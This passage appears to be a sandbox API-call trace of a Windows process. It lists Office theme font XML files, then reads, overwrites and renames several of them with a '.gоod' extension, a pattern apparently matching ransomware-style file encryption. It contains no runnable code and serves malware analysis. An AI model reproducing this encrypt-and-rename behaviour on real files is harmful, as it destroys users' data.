ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Century Gothic-Palatino Linotype.xml", cAlternateFileName="CENTUR~3.XML")) returned 1 [0154.995] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Century Gothic.xml", cAlternateFileName="CENTUR~2.XML")) returned 1 [0154.995] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Century Schoolbook.xml", cAlternateFileName="CENTUR~1.XML")) returned 1 [0154.996] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="Consolas-Verdana.xml", cAlternateFileName="CONSOL~1.XML")) returned 1 [0154.996] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Constantia-Franklin Gothic Book.xml", cAlternateFileName="CONSTA~1.XML")) returned 1 [0154.996] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Corbel.xml", cAlternateFileName="")) returned 1 [0154.996] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Franklin Gothic.xml", cAlternateFileName="FRANKL~1.XML")) returned 1 [0154.996] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garamond-TrebuchetMs.xml", cAlternateFileName="GARAMO~1.XML")) returned 1 [0154.996] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garamond.xml", cAlternateFileName="")) returned 1 [0154.997] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Georgia.xml", cAlternateFileName="")) returned 1 [0154.997] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gill Sans MT.xml", cAlternateFileName="GILLSA~1.XML")) returned 1 [0154.997] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11541b08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2007 - 2010.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0154.997] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Times New Roman-Arial.xml", cAlternateFileName="TIMESN~1.XML")) returned 1 [0154.997] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrebuchetMs.xml", cAlternateFileName="TREBUC~1.XML")) returned 1 [0154.997] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1151b8e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1151b8e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tw Cen MT-Rockwell.xml", cAlternateFileName="TWCENM~2.XML")) returned 1 [0154.998] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tw Cen MT.xml", cAlternateFileName="TWCENM~1.XML")) returned 1 [0154.998] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tw Cen MT.xml", cAlternateFileName="TWCENM~1.XML")) returned 0 [0154.998] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0154.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eca20) returned 1 [0154.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec9e0) returned 1 [0154.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", lpFilePart=0x0) returned 0x5b [0154.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0154.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml"), fInfoLevelId=0x0, lpFileInformation=0x33e8ab8 | out: lpFileInformation=0x33e8ab8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc9)) returned 1 [0155.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0155.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", lpFilePart=0x0) returned 0x5b [0155.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0155.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0155.000] GetFileType (hFile=0x644) returned 0x1 [0155.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0155.000] GetFileType (hFile=0x644) returned 0x1 [0155.000] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdc9 [0155.000] ReadFile (in: hFile=0x644, lpBuffer=0x33e9ba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x33e9ba0*, lpNumberOfBytesRead=0x200ec818*=0xdc9, lpOverlapped=0x0) returned 1 [0155.143] CloseHandle (hObject=0x644) returned 1 [0155.173] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", lpFilePart=0x0) returned 0x5b [0155.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0155.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0155.174] GetFileType (hFile=0x644) returned 0x1 [0155.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0155.175] GetFileType (hFile=0x644) returned 0x1 [0155.175] WriteFile (in: hFile=0x644, lpBuffer=0x33a6f38*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x33a6f38*, lpNumberOfBytesWritten=0x200ec728*=0xdd0, lpOverlapped=0x0) returned 1 [0155.178] CloseHandle (hObject=0x644) returned 1 [0155.179] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml", lpFilePart=0x0) returned 0x5b [0155.179] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml.gоod", lpFilePart=0x0) returned 0x60 [0155.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0155.179] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x58b56c8d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdd0)) returned 1 [0155.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0155.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial Black-Arial.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial black-arial.xml.gоod")) returned 1 [0155.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", lpFilePart=0x0) returned 0x5f [0155.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0155.180] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml"), fInfoLevelId=0x0, lpFileInformation=0x33a8250 | out: lpFileInformation=0x33a8250*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde1)) returned 1 [0155.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0155.180] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", lpFilePart=0x0) returned 0x5f [0155.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0155.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0155.180] GetFileType (hFile=0x644) returned 0x1 [0155.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0155.180] GetFileType (hFile=0x644) returned 0x1 [0155.180] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xde1 [0155.180] ReadFile (in: hFile=0x644, lpBuffer=0x33a9370, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x33a9370*, lpNumberOfBytesRead=0x200ec818*=0xde1, lpOverlapped=0x0) returned 1 [0155.772] CloseHandle (hObject=0x644) returned 1 [0156.571] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", lpFilePart=0x0) returned 0x5f [0156.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0156.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0156.572] GetFileType (hFile=0x61c) returned 0x1 [0156.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0156.572] GetFileType (hFile=0x61c) returned 0x1 [0156.573] WriteFile (in: hFile=0x61c, lpBuffer=0x3463d78*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3463d78*, lpNumberOfBytesWritten=0x200ec728*=0xdf0, lpOverlapped=0x0) returned 1 [0156.573] CloseHandle (hObject=0x61c) returned 1 [0156.573] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml", lpFilePart=0x0) returned 0x5f [0156.574] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml.gоod", lpFilePart=0x0) returned 0x64 [0156.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0156.574] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59899bc4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdf0)) returned 1 [0156.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0156.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial-Times New Roman.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial-times new roman.xml.gоod")) returned 1 [0156.574] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", lpFilePart=0x0) returned 0x4f [0156.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0156.575] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml"), fInfoLevelId=0x0, lpFileInformation=0x34650a8 | out: lpFileInformation=0x34650a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdb0)) returned 1 [0156.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0156.575] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", lpFilePart=0x0) returned 0x4f [0156.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0156.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0156.575] GetFileType (hFile=0x61c) returned 0x1 [0156.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0156.575] GetFileType (hFile=0x61c) returned 0x1 [0156.575] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0xdb0 [0156.575] ReadFile (in: hFile=0x61c, lpBuffer=0x3466110, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3466110*, lpNumberOfBytesRead=0x200ec818*=0xdb0, lpOverlapped=0x0) returned 1 [0156.576] CloseHandle (hObject=0x61c) returned 1 [0157.179] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", lpFilePart=0x0) returned 0x4f [0157.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0157.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\arial.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0157.180] GetFileType (hFile=0x80c) returned 0x1 [0157.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0157.180] GetFileType (hFile=0x80c) returned 0x1 [0157.180] WriteFile (in: hFile=0x80c, lpBuffer=0x33b5270*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x33b5270*, lpNumberOfBytesWritten=0x200ec728*=0xdc0, lpOverlapped=0x0) returned 1 [0157.181] CloseHandle (hObject=0x80c) returned 1 [0157.181] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml", lpFilePart=0x0) returned 0x4f [0157.181] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml.gоod", lpFilePart=0x0) returned 0x54 [0157.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0157.181] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Arial.xml" (normalized: "c:\\program files\\microsoft 